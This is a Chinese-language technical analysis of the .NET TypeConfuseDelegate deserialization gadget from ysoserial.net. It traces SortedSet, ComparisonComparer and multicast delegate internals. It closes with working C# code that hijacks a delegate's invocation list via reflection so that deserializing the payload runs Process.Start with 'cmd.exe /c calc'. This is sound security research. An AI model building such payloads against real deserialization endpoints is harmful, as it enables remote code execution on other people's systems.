---
# System prepended metadata

title: TypeConfuseDelegate gadget

---

# TypeConfuseDelegate gadget

从 `ysoserial.net` 可以学到非常多gadget的利用方法，从其中可以知道`TypeConfuseDelegat` 链主要使用 `SortedSet` 类来进行构造

`SortedSet` 这个类用来将其中的元素按照一定规则进行排序，排序的方法需要自己创建一个用来规定如何排序的类作为比较器，必须实现 `IComparer` 接口，这个接口只有一个方法 `Compare` ，简单用法如下所示

![](https://i.imgur.com/GyzcDdG.png)


> 一个小细节
> 

![](https://i.imgur.com/aPVQk7J.png)


当前集合中的元素大于等于2，也就是调用第二次或者更多次 `Add` 方法的时候，将会调用 `Comparer` 中的 `Compare` 方法，并将两次传入的值作为参数传入

跟入 `SortedSet` 构造方法

![](https://i.imgur.com/TPAJZVp.png)


如果传入了比较器，那么将这个比较器赋值给 `comparer` ，一个类型为 `IComparer<T>` 的变量

这里看到如果没有传入比较器，或者传入为null，那么会默认赋值一个 `Comparer<T>` ，跟入一下实现

```csharp
public abstract class Comparer<T> : IComparer, IComparer<T> 
{
    private static readonly Comparer<T> defaultComparer = CreateComparer();
    public static Comparer<T> Default 
    {
            get
            {
                    return defaultComparer;
            }
    }

    public static Comparer<T> Create(Comparison<T> comparison)
    {
        if (comparison == null)
        {
            throw new ArgumentNullException("comparison");
        }

        return new ComparisonComparer<T>(comparison);
    }

    private static Comparer<T> CreateComparer()
    {
        // ...
    }

    public abstract int Compare(T x, T y);
    int IComparer.Compare(object x, object y)
    {
            // ....
    }
}
```

其实完全不用关注别的方法，只需要关注到其中有一个公开的 `Create` 方法，如果传入的 `Comparison<T>` 不为null的话，就会作为参数传入 `ComparisonComparer<T>` 中

首先 `Comparison<T>` 本身是一个签名和 `Compare` 完全一致的委托

![](https://i.imgur.com/n7P2vQx.png)


接下来关注一下 `ComparisonComparer<T>` 是什么

![](https://i.imgur.com/OooQpQu.png)


可以发现这是一个可以被序列化的类，并且因为继承了 `Comparer<T>` 所以这其实也是一个比较器

关注到这个类中重写的 `Compare` 函数，直接将传入的 `Comparison<T>` 进行了调用，这个类刚刚跟踪后可以知道，其实就是直接调用了一个委托。这里可以知道 `ComparisonComparer` 的关键所在

- 可以被序列化
- 比较函数可控

---

回过头来看到 `SortedSet<T>` 中，因为实现了 `IDeserializationCallback` 接口，所以关注到其关于完成反序列化时的通知方法

```csharp
void IDeserializationCallback.OnDeserialization(object sender)
{
    OnDeserialization(sender);
}

protected virtual void OnDeserialization(object sender)
{
    if (comparer != null)
    {
        return;
    }

    if (siInfo == null)
    {
        ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_InvalidOnDeser);
    }

    comparer = (IComparer<T>)siInfo.GetValue("Comparer", typeof(IComparer<T>));
    int @int = siInfo.GetInt32("Count");
    if (@int != 0)
    {
        T[] array = (T[])siInfo.GetValue("Items", typeof(T[]));
        if (array == null)
        {
            ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MissingValues);
        }

        for (int i = 0; i < array.Length; i++)
        {
            Add(array[i]);
        }
    }

    version = siInfo.GetInt32("Version");
    if (count != @int)
    {
        ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MismatchedCount);
    }

    siInfo = null;
}
```

看到其中的逻辑，首先取出类型为 `IComparer<T>` 的值 `Comparer` 赋值到 `comparer`

接下来如果 `Count` 不等于0，则会进行遍历 `Items` ，并调用 `Add` 方法，回顾之前的分析，这里如果调用第二次及以上的 `Add` 方法则会在其中调用 `Compare` 函数进行排序处理

那么可以总结出，在比较函数可控的情况下，如果将其设置为 `Process.Start` ，接着将两次 `Add` 的值设置为执行命令的参数，那么就可以实现一次RCE

---

 `SortedSet<T>` 中比较方法的签名为 `int Compare(T x, T y);`

在 `Process` 类中 `Start` 方法有非常多的重载，和其签名最为相似的重载为

![](https://i.imgur.com/UCRNlkl.png)


但是这里存在一个问题，那就是这个方法的返回类型是 `Process` ，而不是签名中定义的 `int` ，如果直接将其作为 `comparer` 的话就会因为返回类型不一致直接报错

这个问题就需要多播委托来解决，也就是使用 `MulticastDelegate` 类

> 直接在程序中使用关键字 `delegate` 声明的委托，其实就是派生自 `MulticastDelegate`
> 
> 
> ![](https://i.imgur.com/FwqfauU.png)

> 

多播委托其实就是合并将多个委托进行合并，返回一个新的委托，跟到 `Delegate` 中的 `Combine` 方法中

[Delegate.Combine 方法 (System)](https://docs.microsoft.com/zh-cn/dotnet/api/system.delegate.combine?view=net-6.0)

![](https://i.imgur.com/eNTBXKk.png)


因为委托都是派生自 `MulticastDelegate` 所以直接跟入该类的 `CombineImpl` 方法中，这个方法非常长，但是只需要关注其中一块，知道他返回了一个新的委托即可

![](https://i.imgur.com/hcm5SVd.png)


这个类中有两个变量比较重要的变量

![](https://i.imgur.com/mcFlg7D.png)


重点是 `_invocationList` ，这里面存的就是将要按照顺序执行的委托列表，虽然给出了公开的方法来进行合并委托，但遗憾的是合并委托仍然需要保证委托类型相同，并且 `_invocationList` 是一个私有变量无法直接对其进行赋值操作

但是仔细注意下 `_invocationList` ，会发现如果委托在合并的时候，会将其转换为 `object[]` 数组，没有任何类型限制，所以这里可以直接使用反射，手动修改掉实例中的 `_invocationList` ，在数组中push一个泛型委托 `Func<string, string, Process>(Process.Start)` ，那么因为传入了一个多播委托，将会在调用 `Compare` 进行比较排序时，按照顺序在之后调用到 `Process.Start` 造成命令注入，

```csharp
MulticastDelegate d1 = new Comparison<string>(String.Compare);

MulticastDelegate d2 = new Func<string, string, Process>(Process.Start);

Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d1, d1);
IComparer<string> comparer = Comparer<string>.Create(c);
SortedSet<string> s = new SortedSet<string>(comparer);
s.Add("cmd.exe");
s.Add("/c calc");

FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] dList = new object[d1.GetInvocationList().Length + 1];
d1.GetInvocationList().CopyTo(dList, 0);
dList[dList.Length - 1] = d2;
fi.SetValue(c, dList);
```

![](https://i.imgur.com/NZgUQHm.png)


之后将构造好之后的 `SortedSet<string>` 进行序列化，得到序列化后的payload

如果对该payload直接进行反序列化，将会触发 `Process.Start` 并执行 `cmd.exe /c calc`


![](https://i.imgur.com/Ql28kyz.gif)
